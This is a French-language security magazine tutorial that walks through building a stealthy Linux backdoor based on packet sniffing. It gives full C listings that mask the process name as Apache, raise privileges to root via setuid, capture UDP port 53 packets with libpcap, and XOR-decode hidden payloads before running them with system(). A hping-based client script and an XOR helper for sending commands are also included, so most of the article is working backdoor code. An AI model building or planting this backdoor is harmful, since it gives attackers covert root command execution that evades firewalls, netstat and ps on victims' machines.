Pratique

Création de portes dérobées sophistiquées sous Linux – reniflage de paquets

Brandon Edwards 

Degré de difficulté

Alors que les développeurs s'efforcent de créer de nouvelles défenses contre les portes dérobées, les pirates se voient obligés de mettre au point de nouvelles techniques innovantes afin de garder le rythme effréné imposé par le secteur en pleine croissance de la sécurité informatique. L'une de ces techniques concerne les portes dérobées chargées de détecter des paquets.

Le reniflage de paquets représente une nouvelle technique de porte dérobée, développée par la nécessité de contourner un pare-feu local (comme Netfilter, par exemple), sans intégrer de code ni retour de connexion. Ce genre de porte dérobée fonctionne en capturant des paquets (si possible dotés d'informations spécifiques) afin d'intercepter des commandes à exécuter. Le système n'a pas à accepter les paquets contenant les commandes de la porte dérobée en tant que connexion, mais celles-ci doivent être vues par l'interface réseau du système cible.

Le reniflage de paquets présente de nombreux avantages au niveau des commandes (au lieu d'écouter des connexions ou de les amorcer). En capturant des paquets hors de l'interface réseau sans demander au système une interface de connexion, les paquets sont lus par les portes dérobées même si ces derniers sont filtrés localement (par Netfilter, par exemple). Dans la mesure où cette méthode ne doit jamais accepter de connexion via le système, elle ne s'affiche jamais avec *netstat*. Enfin, comme il ne faut capturer que les paquets dirigés vers le système (et non vers d'autres systèmes du réseau), il est possible de faire fonctionner l'interface de réseau en mode non espion afin d'éviter tout affichage dans les journaux du système local.

Conception d'une porte dérobée

L'installation de portes dérobées chargées de renifler des paquets soulève certains autres problèmes intéressants, tels que l'identification des paquets à interpréter pour

Cet article explique...

- Le mode de fonctionnement d'une porte dérobée de reniflage de paquets,
- Comment mettre cette technique en pratique.

Ce qu'il faut savoir...

- Les principes fondamentaux de la gestion de réseaux TCP/IP,
- Les principes fondamentaux de la programmation en C,
- La gestion de réseau Linux au moyen de libpcap.

Portes dérobées locales versus portes dérobées à distance

Les portes dérobées locales sont exécutées en mode local sur le système cible (comme son nom l'indique), et exigent donc de l'éventuel pirate certaines formes d'accès prioritaire vers le système affecté avant exécution. La plupart des portes dérobées dites locales sont utilisées par les pirates bénéficiant d'un accès protégé pour accroître leurs privilèges. Malgré les nombreuses approches permettant d'utiliser et de masquer de manière indirecte les portes dérobées locales, la présence nécessaire du pirate sur le système local engendre un risque inhérent élevé d'être découvert. C'est la raison pour laquelle les portes dérobées dites *à distance* deviennent de plus en plus utilisées par rapport aux portes exigeant un accès en local.

Les portes dérobées dites à distance sont accessibles par le réseau, autorisant tout usage à partir du système du pirate sans accès prioritaire (autre que la création de la porte dérobée elle-même, bien entendu). En règle générale, ce genre de portes dérobées était accessible à distance via les interfaces de connexion TCP placées en écoute sur un port important, grâce auquel l'utilisateur est susceptible de se connecter. Au moment d'établir une connexion, il peut arriver qu'un processus d'identification soit déclenché, bien que de nombreuses portes dérobées accordent un accès immédiat. Ce genre d'interface de connexion standard chargée d'écouter une porte dérobée est assez primitif, et très facilement détectable par des outils tels que *netstat* (sous réserve que *netstat* lui-même ne soit pas espionné par une porte dérobée). Ce type de portes dérobées peut également être facilement découvert au moyen d'un scan de ports à distance, permettant de ce fait une utilisation arbitraire du système par d'autres pirates.

Nouvelles tactiques des portes dérobées

Avec l'évolution spectaculaire en matière de sécurité informatique, les administrateurs ont appris à détecter et à contrer les portes dérobées élémentaires d'écoute de connexion. En activant certaines règles des pare-feux afin de bloquer le trafic sur les ports inutiles pour les services les plus courants, il est possible de réduire considérablement la connectivité des portes dérobées d'écoute, voir de les éliminer totalement. Afin de contourner cette défense, de nouvelles tactiques ont été mises au point.

- Intégrer le code d'une porte dérobée dans un démon existant, avec accès privilégié, chargé d'écouter une interface de connexion afin de contourner le(s) pare-feu(x). Un démon avec porte dérobée intégrée est susceptible d'écouter et de fournir un service classique jusqu'à réception d'une certaine forme de déclencheur de protocole. À ce moment précis, les privilèges seront levés (si nécessaire) et une protection installée sur l'interface de connexion. L'avantage majeur de ce genre de porte dérobée réside dans le fait que , en cas de détection par *netstat* ou par un scan de ports, elle est affichée sous forme de démon d'écoute standard. Cette méthode présente toutefois le risque d'avoir à remplacer un fichier binaire privilégié sur le système cible, dans la mesure où il est fort probable que des IDS hôtes ou un administrateur expérimenté le détecte. Même si ce binaire n'est pas détecté, il est également fort probable que le binaire porteur de la porte dérobée soit supprimé en cas de mise à jour du démon (par le nouveau binaire non-piraté).
- Se reconnecter sur une machine pirate, plutôt que d'écouter une connexion entrante afin de contourner le(s) pare-feu(x). On suppose, avec cette tactique, que si un pare-feu est activé, ses politiques autorisent le trafic sortant vers des ports arbitraires par défaut. Les pare-feux chargés de contrôler l'état des connections (pare-feu d'état) autorisent souvent le trafic entrant lié aux connexions établies, permettant à cette technique de fonctionner. Malheureusement, cette forme de porte dérobée s'affiche dans les données de sortie de *netstat* (et attire généralement les soupçons), car il s'agit toujours d'une connexion gérée par le système. Autre inconvénient majeur de cette méthode, le compteur et/ou le déclencheur doivent déterminer le moment et le lieu de retour d'une connexion.

les commandes, et la façon de les authentifier. De même, envoyer des chaînes de commandes en texte simple dans les paquets est susceptible d'alerter la personne chargée de contrôler le trafic réseau de la présence d'une porte dérobée, auquel cas, il est recommandé d'avoir recours à certaines formes de codage (même s'il ne s'agit que d'une simple substitution de caractères). Bien que cette méthode ne soit pas sans danger, elle peut se révéler très difficile à remarquer à moins d'être exclusivement recherchée. Nous examinerons plus en détails, dans le présent article, la nature de ce genre de porte dérobée en exposant comment en écrire une.

Objectifs d'une porte dérobée

Avant d'écrire un programme, il est judicieux d'en identifier les objectifs. Une fois les objectifs identifiés, il est ensuite plus facile d'écrire un plan de ce programme sur lequel s'appuiera le code de base. Les objectifs (buts) à atteindre dans le cadre de notre exercice de création d'une porte dérobée chargée de renifler des paquets sont les suivants :

- Doit s'exécuter comme un programme `setuid()`, évidemment pour donner à son utilisateur un accès de type *root*, mais aussi parce que les privilèges *root* sont nécessaires à la capture de paquets.
- Les paquets capturés seront dirigés vers un port sélectionné et classique tel que UDP 53 (utilisé par DNS).
- Sera chargé d'interpréter et de déchiffrer chaque paquet au moyen d'un certain procédé d'authentification, idéalement le codage, et d'exécuter les contenus des paquets authentifiés en tant que commande.
- Devra posséder certaines fonctionnalités supplémentaires de rootkit afin d'éviter tout risque de détection par des outils tels que *ps*.

Listing 1. *Ebauche basique de code*

```
Main Program Function
{
  mask process name
  raise privileges

  initialize variables & packet capture functions
  build packet filter for desired port, protocol, etc.
  enact packet filter

  Loop infinitely
  {
    Call function to capture a packet
    Pass captured packet to Packet Handler Function
  }
}

Packet Handler Function
{
  verify packet is intended for backdoor by checking for a
  pre-defined backdoor header key
     ->if key is not present then return

  Since backdoor has a header key,
  decrypt remaining packet data with some pre-defined password

  After Decryption, verify data decrypted into backdoor
  intended commands by checking for protocol header/footer
     ->if header/footer flags are not present then return

  since packet had header key, and decrypted properly,
  containing adequate flags, execute the remaining data
  call system to execute decrypted_data
  then return
}
```

Ébauche de code

Maintenant que les objectifs de notre programme sont identifiés, nous devons désormais en illustrer la structure et la logique de ce programme. Plusieurs méthodes sont possibles, comme les diagrammes par exemple. Nous avons choisi un pseudo-code, pouvant être facilement lu et traduit en code réel ultérieurement.

Vous trouverez dans le Listing 1 une ébauche de programme soulignant la façon d'atteindre les objectifs désirés pour notre porte dérobée. Ce résumé est écrit sous forme de commentaires descriptifs de code afin d'illustrer toute la logique du programme. Cette base sera utilisée comme référence tout au long du présent article afin d'écrire le code réel de notre porte dérobée.

La disposition du programme telle qu'exposée dans le Listing 1 est divisée en deux parties : une fonction principale, et une fonction de gestion de paquets appelée par la fonction principale. Dans `main()`, nous masquons le nom du processus afin de ne pas alerter quelqu'un qui lancerait un programme de type *ps* pour voir les processus opérationnels. Pour des raisons évidentes, un pirate ne souhaite pas qu'un administrateur détecte un processus intitulé *backdoor*, ou *silentdoor*, etc. Des privilèges sont ensuite levés, afin de pouvoir capturer des paquets et les fournir également à l'utilisateur de la porte dérobée. Puis, les paquets chargés de capturer les variables et les fonctions nécessaires à une session de capture de paquets sont initialisés. Enfin, une boucle infinie de capture de paquets est insérée afin de passer chaque paquet capturé dans la fonction de gestion.

Cette fonction de gestion de paquet exige le plus de logique dans le programme, dans la mesure où celle-ci est chargée de déchiffrer les paquets destinés à la porte dérobée à partir de l'ensemble des paquets issus d'un même protocole et d'un même port. Le moyen le plus efficace consiste à insérer une certaine forme d'authentification, impliquant généralement un certain type de codage. Dans l'ébauche de programme, le paquet reçu est perçu comme une clé à en-tête de porte dérobée (certaines phrases clés chargées de suggérer que le paquet est destiné à la porte dérobée). En cas d'absence de cette clé à en-tête de porte dérobée, la fonction de gestion rent la main immédiatement, afin que le programme puisse être prêt à intercepter le paquet suivant. Si la clé à en-tête est *bien* présente, la fonction de gestion décrypte alors les données du paquet restant au moyen d'un mécanisme basique de décryptage.

Une fois la manoeuvre exécutée, le contenu du paquet décrypté est scanné pour y trouver certaines chaînes ou drapeaux, afin d'être sûr que le décryptage a bien fonctionné. En cas d'absence de drapeaux décryptés, la fonction de gestion se contente de revenir. Ce processus se déclenche en tant que couche finale d'authentification : si le paquet possède bien une clé à en-tête, et si le contenu du paquet est correctement décrypté, on suppose donc sans grand risque que le paquet en question est bien destiné à la porte dérobée et contient une commande. À ce stade, le contenu du paquet restant décrypté est extrait et exécuté sous forme de commande système, complétant ainsi l'objectif de notre porte dérobée.

Rédaction du programme

Rédiger un programme quelconque, chargé de renifler les paquets, est relativement aisé, notamment avec l'aide de la bibliothèque libpcap. Cette bibliothèque Libpcap propose un ensemble complet et facile à utiliser de fonctions chargées de capturer

Listing 2. *Masquer le nom de processus et lever les privilèges*

```
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <pcap.h>

#define MASK "/usr/sbin/apache2 -k start -DSSL"

int main(int argc, char *argv[]) {

  /* mask the process name */
  strcpy(argv[0], MASK);

  /* change the UID/GID to 0 (raise privs) */
  setuid(0);
  setgid(0);

  /* setup packet capturing */
  /* ... */
  /* capture and pass packets to handler */
  /* ... */
}
```

Listing 3. *Capture de paquets*

```
pcap_t       *sniff_session;
char         errbuf[PCAP_ERRBUF_SIZE];
char         filter_string[]="udp dst port 53";
struct       bpf_program filter;
bpf_u_int32  net;
bpf_u_int32  mask;

if (-1 == pcap_lookupnet(NULL, &net, &mask, errbuf)) {
  /* failed. die. */
  exit(0);
}
if (!(sniff_session=pcap_open_live(NULL, 1024, 0, 0, errbuf))) {
  /* failed. die */
  exit(0);
}
pcap_compile(sniff_session, &filter, filter_string, 0, net);
pcap_setfilter(sniff_session, &filter);
pcap_loop(sniff_session, 0, packet_handler, NULL);
```

et de gérer les paquets. Nous allons présenter dans le cadre du présent article quelques fonctions élémentaires de la bibliothèque libpcap que nous utiliserons pour créer une porte dérobée. Le but n'est toutefois pas de couvrir les possibilités de cette bibliothèque dans son intégralité. Vous pouvez consulter le site suivant pour plus d'informations sur les fonctions de la bibliothèque libpcap : *http://www.tcpdump.org*.

Masquer le nom du processus

Cacher ou plus précisément *masquer* le nom du processus est le premier objectif évoqué dans l'ébauche de programme mentionnée plus haut. Ce sera également la première étape à réaliser au moment de rédiger le code. Nous avons exposé dans le Listing 2 le début d'une traduction en C du pseudo-code illustré dans le Listing 1. Dans la fonction `main()`, la première ligne de code est la suivante : `strcpy(argv[0], MASK)`. L'appel vers cette fonction a pour but de copier la chaîne définie comme `MASK` dans `argv[0]`. Lorsque `argv[0]` est modifié, il en va de même pour le nom de base du programme ainsi que pour le nom du processus du programme. Il s'agit d'une méthode simple et efficace permettant de modifier le nom de processus d'un programme (afin de tromper quelqu'un qui exécuterait *ps*). Dans ce cas, le nom est modifié pour ressembler au nom d'un processus d'exécution d'Apache.

Lever les privilèges

Vous constaterez en observant le Listing 2 que les privilèges ont été modifiés en appelant `setuid(0)` ainsi que `setgid(0)`, afin de paramétrer respectivement l'UID et le GID. Cette étape est l'objectif le plus important d'une porte dérobée. Chacune de ces fonctions prend un argument : l'identifiant souhaité. Dans la mesure où les valeurs utilisateur et identifiant de groupe sont 0 en mode root, ces fonctions permettent de doter le programme de privilèges root opérationnels.

Les privilèges root fournissent non seulement un accès total à l'utilisateur, mais sont également nécessaires pour la capture des paquets. Bien sûr, afin que notre programme soit effectivement autorisé à émettre ses propres privilèges, le binaire compilé doit disposer de l'ensemble bit-suid sur le système cible. Paramétrer le bit-suid du binaire relatif à une porte dérobée ainsi que les permissions pertinentes revient à passer les commandes suivantes sur le système cible :

```
# chown root backdoor_binary
# chmod +s backdoor_binary
```

Capture des paquets

Il est désormais temps de commencer à rédiger les fonctions pcap appropriées afin de capturer des paquets. Le Listing 3 contient le code fondamental permettant de débuter une session de capture d'un paquet dans l'exemple d'une porte dérobée. La première étape du processus consiste à appeler la fonction `pcap_lookupnet()`, chargée de reconnaître pcap via le réseau ainsi que le netmask à partir duquel elle sera

Listing 4. *Gestion des paquets et analyse syntaxique des commandes*

```
#define ETHER_IP_UDP_LEN 44
#define MAX_SIZE 1024
#define BACKDOOR_HEADER_KEY "leet"
#define BACKDOOR_HEADER_LEN 4
#define PASSWORD "password"
#define PASSLEN 8
#define COMMAND_START "start["
#define COMMAND_END "]end"

void packet_handler(u_char *ptrnull,
  const struct pcap_pkthdr *pkt_info,
  const u_char *packet)
{
  int len, loop;
  char *ptr, *ptr2;
  char decrypt[MAX_SIZE];
  char command[MAX_SIZE];

  /* Step 1: identify where the payload of the packet is */
  ptr = (char *)(packet + ETHER_IP_UDP_LEN);
  if ((pkt_info->caplen - ETHER_IP_UDP_LEN - 14) <= 0)
    return;

  /* Step 2: check payload for backdoor header key */
  if (0 != memcmp(ptr, BACKDOOR_HEADER_KEY, BACKDOOR_HEADER_LEN))
    return;
  ptr += BACKDOOR_HEADER_LEN;
  len = (pkt_info->caplen - ETHER_IP_UDP_LEN - BACKDOOR_HEADER_LEN);
  memset(decrypt, 0x0, sizeof(decrypt));

  /* Step 3: decrypt the packet by XOR'ing pass against contents  */
  for (loop = 0; loop < len; loop++)
    decrypt[loop] = ptr[loop] ^ PASSWORD[(loop % PASSLEN)];

  /* Step 4: verify decrypted contents */
  if (!(ptr = strstr(decrypt, COMMAND_START)))
    return;
  ptr += strlen(COMMAND_START);
  if (!(ptr2 = strstr(ptr, COMMAND_END)))
    return;

  /* Step 5: extract what remains */
  memset(command, 0x0, sizeof(command));
  strncpy(command, ptr, (ptr2 - ptr));

  /* Step 6: Execute command */
  system(command);
  return;
}
```

reniflée. Cet appel assez particulier va chercher puis stocker le réseau et le netmask dans les variables `net` et `mask` de `bpf_u_int32`, fournies sous forme d'arguments.

Le premier argument de cette fonction représente le dispositif souhaité à partir duquel les paquets doivent être capturés, mais, si ce dernier est réglé sur NULL, n'importe quel dispositif peut alors être utilisé, capturant ainsi des paquets à partir de toutes les interfaces disponibles. Dans la mesure où les pirates ne sont pas censés connaître les dispositifs disponibles sur le système cible, il est plus judicieux de ne pas indiquer un dispositif en particulier lorsque vous créez une porte dérobée. En cas d'échec de l'appel de la fonction, la valeur -1 est retournée, et le programme appelle alors `exit()`.

La fonction suivante appelée dans le Listing 3 est `pcap_open_live()`, chargée d'ouvrir et de retourner un pointeur vers un descripteur de capture de paquets. Un descripteur de capture est un type de données primaires, et peut éventuellement gérer l'ensemble des aspects lors d'une session de capture de paquets.

À l'instar de la fonction précédente, le premier argument de cette fonction représente le dispositif du réseau à capturer, dont la valeur NULL implique tous les dispositifs disponibles. L'argument suivant permet de régler la quantité maximale d'octets à capturer à partir de chaque paquet, appelée *snaplen*, généralement fixée à 1024. Le troisième argument détermine s'il faut oui ou non placer le dispositif en mode espion (pour capturer ou pas les paquets qui n'étaient pas destinés pour ce système). Dans notre exemple, il est réglé en mode non-espion, mais cette option n'est pas très importante dans ce contexte dans la mesure où elle est ignorée si le premier argument est réglé sur NULL (soit n'importe quel dispositif).

Il est en effet plus avantageux de ne pas placer le dispositif en mode espion dans le cadre de cette application. Il arrive bien souvent qu'en mode espion, une déclaration alertant le statut du dispositif soit enregistrée dans le journal du système (ce qui pourrait permettre alors de détecter la présence d'une porte dérobée). Le quatrième argument est un délai d'attente prédéfini en millisecondes, zéro signifiant l'absence de délai d'attente. Si `pcap_open_live()` échoue, la valeur NULL est retournée, et le programme appellera alors `exit()`, sinon un pointeur vers un descripteur de capture serait retourné.

L'appel suivant est la fonction `pcap_compile()`. Cette fonction crée, ou dans le jargon de pcap *compile*, un filtre de paquets afin de restreindre le type de paquets à capturer. Créer un filtre de paquet est la méthode la plus simple pour spécifier le protocole désiré ainsi que le port de paquets à capturer,

Envoi des commandes à la porte dérobée

Maintenant que notre porte dérobée est fin prête, nous avons besoin d'un outil capable d'envoyer les commandes. Nous avons exposé dans le Listing 5 une implémentation très simple d'un tel script. Celui-ci exige la commande *hping*. En voici l'usage :

```
$ ./silentkey.sh <ip> <command>
```

Ce script nécessite une courte application C pour pouvoir appliquer l'opérateur booléen OU exclusif sur la chaîne (voir le Listing 6). Celle-ci doit être compilée puis placée dans le même répertoire que le script *silentkey.sh* :

```
$ gcc -o xor_string xor_string.c
```

Ce script peut être utilisé à la fois avec la porte dérobée telle que décrite dans le présent article, et avec l'application SilentDoor. Le package SilentDoor contient une application plus sophistiquée pour l'envoi de commandes.

Listing 5. *silentkey.sh, procédure d'interpréteur de commande chargée d'envoyer des commandes dans les paquets*

```
#!/bin/bash
PASS=leet
OPTS="-c 1 -2 -E /dev/stdin -d 100 -p 53 "
COM_START="start["
COM_END="]end"
if [ -z "$1" ]
then
echo "$0 <ip> <command>"
exit 0
fi
if [ -z "$2" ]
then
echo "$0 <ip> <command>"
exit 0
fi
echo "$COM_START$2$COM_END $PASS to hping $OPTS $1"
./xor_string "$COM_START$2$COM_END" $PASS | hping2 $OPTS $1
```

Listing 6. *xor_string.c, utilisé par le script exposé dans le Listing 5*

```
#include <stdio.h>
int main(int argc, char *argv[])
{
  int i, x, y;
  if (!argv[1] || !argv[2])
  {
    printf("%s <string> <pass>\n", argv[0]);
    return 0;
  }
  x = strlen(argv[1]);
  y = strlen(argv[2]);
  for (i = 0; i < x; ++i)
    argv[1][i] ^= argv[2][(i%y)];
  printf("%s", argv[1]);
  return 0;
}
```

et peut donc être utilisé pour remplir l'un des objectifs de la porte dérobée.

Le premier argument de `pcap_compile()` est le descripteur de capture, `sniff_session`. L'argument suivant attendu est un pointeur vers une structure `bpf_program`. Cette structure est appelée *filter program* (*programme de filtre*) qui sera *compilée* par `pcap_compile()`. Dans notre exemple, le `bpf_program` déclaré est appelé `filter`, puis passé vers `pcap_compile()` grâce à son adresse (sous forme effective de pointeur).

Le troisième argument est une chaîne contenant les règles à compiler dans ce filtre. Ces chaînes de règles pour le filtre sont écrites dans une syntaxe logique et intuitive. Le tableau, déclaré en tant que `filter_string[]`, et contenant `"udp dst port 53"`; est passé pour cet argument. Une fois compilé dans un `bpf_program`, cette chaîne de règles indique à pcap de ne capturer que les paquets destinés au port UDP 53.

Une fois le filtre de paquets compilé, ce dernier est ensuite activé en appelant `pcap_setfilter(sniff_session, filter)`. À partir de ce moment, tout paquet capturé au moyen du descripteur de capture `sniff_session` sera du protocole UDP destiné au port 53 (ce qui représentait également un des objectifs de la porte dérobée).

Enfin, toujours dans le Listing 3, la fonction `pcap_loop()` est appelée pour lancer la session de capture en question. Les arguments attendus par `pcap_loop()` sont les suivants : le descripteur de capture, le comptage de paquets à capturer, le nom d'une fonction de gestion de paquets, ainsi qu'un pointeur arbitrairement défini, chargé de passer vers le gestionnaire de paquets. La fonction `pcap_loop()` fonctionne en écoutant puis capturant des paquets sur le descripteur fourni, jusqu'à ce que le nombre de captures indiqué soit atteint. Au moment de capturer chaque paquet, la fonction appelle la fonction de gestion fournie afin de traiter le paquet en conséquence. Cette fonction de gestion de paquets doit être dotée d'une structure d'argument spécifiquement définie, dans la mesure où `pcap_loop()` est chargée de passer les données d'une manière particulière.

Lorsque `pcap_loop()` appelle la fonction de gestion des paquets, elle passe les arguments suivants dans cet ordre vers le gestionnaire : un pointeur défini par le programmeur, un pointeur dirigé vers une structure `pcap_pkthdr` (que nous expliquerons plus loin), et un pointeur dirigé vers le paquet lui-même. Ceci permet à la fonction de gestion de paquets de recevoir les paquets, les informations qu'ils contiennent, ainsi que toute autre donnée que le programmeur souhaite obtenir (au moyen du pointeur défini par le programmeur).

Dans le Listing 3, le comptage de paquets passé a été fixé à 0. En d'autres termes, `pcap_loop()` doit capturer des paquets indéfiniment. La fonction de gestion de paquets doit impérativement être appelée `packet_handler`, ce qui signifie que pcap cherchera une fonction avec ce nom afin d'y passer les paquets capturés. Le pointeur défini par le programmeur n'est pas nécessaire dans la mesure où il n'est jamais déréférencé par pcap ; ce pointeur ne sert au programmeur que pour passer des données via `pcap_loop()` vers la fonction de gestion. Pour créer cette porte dérobée, et réaliser les objectifs mentionnés dans le présent article, ce pointeur n'est pas utilisé, et est donc passé vers `pcap_loop()` avec la valeur NULL.

Gestion des paquets et analyse syntaxique des commandes

La tâche la plus délicate à réaliser lors de la création d'une porte dérobée chargée de renifler des paquets consiste sans conteste à gérer les paquets capturés et à les analyser correctement pour les commandes. Toutefois, dans la mesure où le programmeur sait que pcap va se charger d'analyser les arguments passés dans la fonction de gestion dans un ordre bien spécifique, la rédaction d'un prototype de fonction de gestion s'avère finalement assez simple.

Le premier argument passé dans le gestionnaire est le pointeur défini par le programmeur `u_char *user`. Il s'agit du même pointeur, passé auparavant dans `pcap_loop()` avec la valeur NULL. Le programmeur sait donc qu'aucune donnée ne sera présente dans cet argument, dans le cadre de cet exemple précis. Le deuxième argument passé dans cette fonction est un pointeur dirigé vers une structure `pcap_pkthdr`. Cette structure contient trois éléments : `struct timeval ts` contenant la durée pendant laquelle le paquet a été capturé, `bpf_u_int32 caplen` contenant un comptage d'octets capturés, et `bpf_u_int32 len` contenant la longueur totale d'octets disponibles pour la capture (peut être plus grande que le nombre d'octets capturés, si elle excède le *snaplen*).

Enfin, le dernier argument passé est un `char *packet` non signé, dirigé vers les données du paquet. N'oubliez surtout pas que pcap capture le paquet dans son intégralité, y compris ses en-têtes de protocole. Ainsi, le pointeur `u_char *packet` est dirigé vers le début du paquet entier (et pas seulement vers son contenu). Afin de n'accéder qu'au contenu du paquet, la longueur des en-têtes de protocole (Ethernet, UDP, IP, etc..) exprimée en octets doit être connue pour pouvoir compenser la valeur du pointeur de paquet passé. Vous trouverez dans le Listing 4 une valeur `#define` pour les longueurs combinées d'en-têtes Ethernet, IP, et UDP, avec un total de 44 octets décomptés.

La fonction exposée dans le Listing 4 est appelée `packet_handler()`, puisque c'est le nom le plus normal qui soit (passé dans `pcap_loop()` dans le Listing 3). L'objectif de `packet_handler()` consiste à assurer que le paquet passé est bien destiné à la porte dérobée, et contient les données attendues de la porte dérobée. Pour ce faire, dans le cadre de notre exemple, il est nécessaire de rédiger une certaine forme de syntaxe de protocole de porte dérobée pour l'authentification et le décryptage du paquet.

Comme vous avez pu le constater dans le Listing 4, la première couche relative à l'authentification consiste à comparer les quelques premiers octets du contenu du paquet avec un certain type de clé de protocole. En cas d'absence de clé, le paquet est immédiatement disqualifié pour une éventuelle utilisation de la porte dérobée, ce qui entraîne la fin de la fonction. La présence d'une clé de protocole indique que le paquet est vraisemblablement destiné à la porte dérobée, et que les données doivent faire l'objet d'une authentification plus poussée. Il est en effet plus efficace de contrôler la présence d'une clé de protocole avant de lancer un traitement d'authentification plus poussé.

À propos de l'auteur

Brandon Edwards, également connu sous le pseudonyme de *drraid*, est chercheur en sécurité informatique, et poursuit ses études à Portland, Oregon, Etats-Unis. Il participe fréquemment à des conférences sur la sécurité telles que Defcon, et travaille actuellement dans le secteur de la sécurité. Vous pouvez contacter l'auteur à l'adresse suivante : *drraid@gmail.com*.

Sur Internet

- *http://www.icir.org/vern/papers/backdoor* – Très bon article sur les concepts de détection des portes dérobées,
- *http://www.tcpdump.org* – Page d'accueil de libpcap, excellente source de documentations,
- *http://n0d0z.darktech.org/~drraid* – Site personnel de drraid pour poster du code,
- *http://www.rootkit.com* – Magazine en ligne sur les rootkits et les portes dérobées.

À ce stade, si la fonction de gestion n'a pas été encore retournée, il est probable que le paquet contienne bien des données cryptées. Il est donc judicieux, dans ce cas précis, de tenter de décrypter les données du paquet restant, puis de mener une authentification plus poussée. Dans le cadre de notre exemple, nous n'utiliserons pas de décryptage lourd, mais une méthode appelée cryptage XOR (à l'aide de l'opérateur booléen OU exclusif). Cette forme de cryptage est très simple, grâce à l'opérateur OU exclusif à deux octets de données pour produire un seul octet de données. Autrement dit, cette manœuvre équivaut à prendre un octet issu d'une chaîne de mot de passe, pour l'échanger au moyen de l'opérateur OU exclusif contre un octet issu du tableau de données à coder, afin d'obtenir un octet crypté. Le processus de décryptage est sensiblement le même : il suffit de coder un octet au moyen de l'opérateur OU exclusif pour l'échanger contre l'octet correspondant du mot de passe, afin d'obtenir l'octet original décodé.

Comme vous le constaterez dans le Listing 4, nous avons utilisé une boucle for afin d'appliquer l'opérateur OU exclusif sur chaque octet des paquets restants par rapport au mot de passe défini comme `PASSWORD`. L'opérateur de modulo (`%`) est utilisé afin de déterminer l'octet de la chaîne de mot de passe correspondant à l'octet référencé dans le contenu du paquet. L'octet décodé ainsi obtenu à partir de chaque cycle de la boucle est stocké dans le tableau appelé `decrypt[]`.

Une fois les données restantes décodées, elles doivent ensuite être vérifiées. La vérification des données décryptées permet de déterminer si elles ont bien été créées à partir d'un état décodé, et donc si elles sont bien destinées à la porte dérobée. Il est très important ici de savoir que, même si le paquet contenait la clé à en-tête de la porte dérobée, il peut s'agir d'un phénomène entièrement aléatoire et opportun. Plus important encore, le paquet a très bien pu être imité par quelqu'un ayant découvert la présence de la porte dérobée, dans la mesure où la clé à en-tête est facilement détectable (puisque celle-ci est écrite en texte simple). En contrôlant les données ainsi décodées, vous vous assurez non seulement que l'auteur du paquet connaissait la clé à en-tête de la porte dérobée, mais également le mot de passe codé.

Afin de simplifier la programmation, le Listing 4 valide le contenu décodé en contrôlant tout simplement 2 chaînes prédéfinies issues des données décodées. Ces chaînes agissent comme un en-tête et un titre courant dans la chaîne de commande à exécuter, et sont définies comme `COMMAND_START` et `COMMAND_END`. Si l'une de ces chaînes reste introuvable, la paquet est alors considéré comme invalide, ce qui entraîne un retour de la fonction. Dans le cas contraire, si les deux chaînes sont effectivement présentes, les données insérées dans les deux chaînes sont alors extraites et considérées comme étant des commandes. La dernière étape de la vérification consiste alors à éliminer presque toutes les possibilités (99,9 %) d'un hasard truqué ou d'un de la présence d'un paquet créé frauduleusement.

La dernière étape pour achever l'objectif de cette porte dérobée consiste à exécuter la chaîne restante en tant que commande. Ceci est réalisé, dans le Listing 4, en appelant `system()` sur la chaîne restante extraite et décodée. Même si l'appel de `system()` entraîne l'exécution de la chaîne en tant que commande, notez bien que cette manœuvre n'a aucune incidence sur la gestion des données entrantes et sortantes de la commande exécutée. De même, `system()` n'est pas très secret ni pratique dans le contexte d'une porte dérobée à distance, et n'est exposé ici qu'à titre d'exemple.

Notre exemple de porte dérobée est, comme vous avez pu le constater, très simple. Toutefois, il illustre à merveille les bases fondamentales d'une expérience pouvant être ensuite étendues de manière fonctionnelle. Notre programme s'inspire en réalité d'une idée déjà mise en pratique par l'auteur sous le nom de SilentDoor, dont vous trouverez une version dans le CD joint à *hakin9.live*. Nous recommandons fortement à nos lecteurs de tester puis d'étendre à leur tour cette idée. Vos commentaires sont également les bienvenus. Vous pouvez écrire soit directement à l'auteur, soit à l'équipe du magazine.

Conclusion

Les portes dérobées chargées de capturer des paquets sont sournoises et difficiles à prévenir (ou même à détecter, dans la plupart des cas). Heureusement, si vous avez bien lu le présent article, vous comprenez désormais mieux l'objectif d'une porte dérobée chargée de capturer des paquets, et êtes capable d'écrire les prémices de votre propre porte dérobée. Le code fourni dans le présent article n'a d'autre ambition que de servir notre démonstration. Il n'est ni solide ni complet.

À l'heure actuelle, le secteur de la sécurité informatique dispose de peu (voire d'aucun) d'outils capables de détecter ce type de porte dérobée. Il existe toutefois plusieurs outils capables de détecter une activité de reniflage sur un système, mais la plupart d'entre eux ne détectent que le reniflage en mode espion (qui ne s'applique pas à une porte dérobée de reniflage très bien implémentée). La possibilité de déterminer l'état d'une capture de paquets sur un système sera la prochaine étape à atteindre en matière de développement anti-porte dérobée. Toutefois, cette technique devrait être considérée comme une menace classique à moins que les outils de détection n'atteignent les compétences évoquées plus haut. ●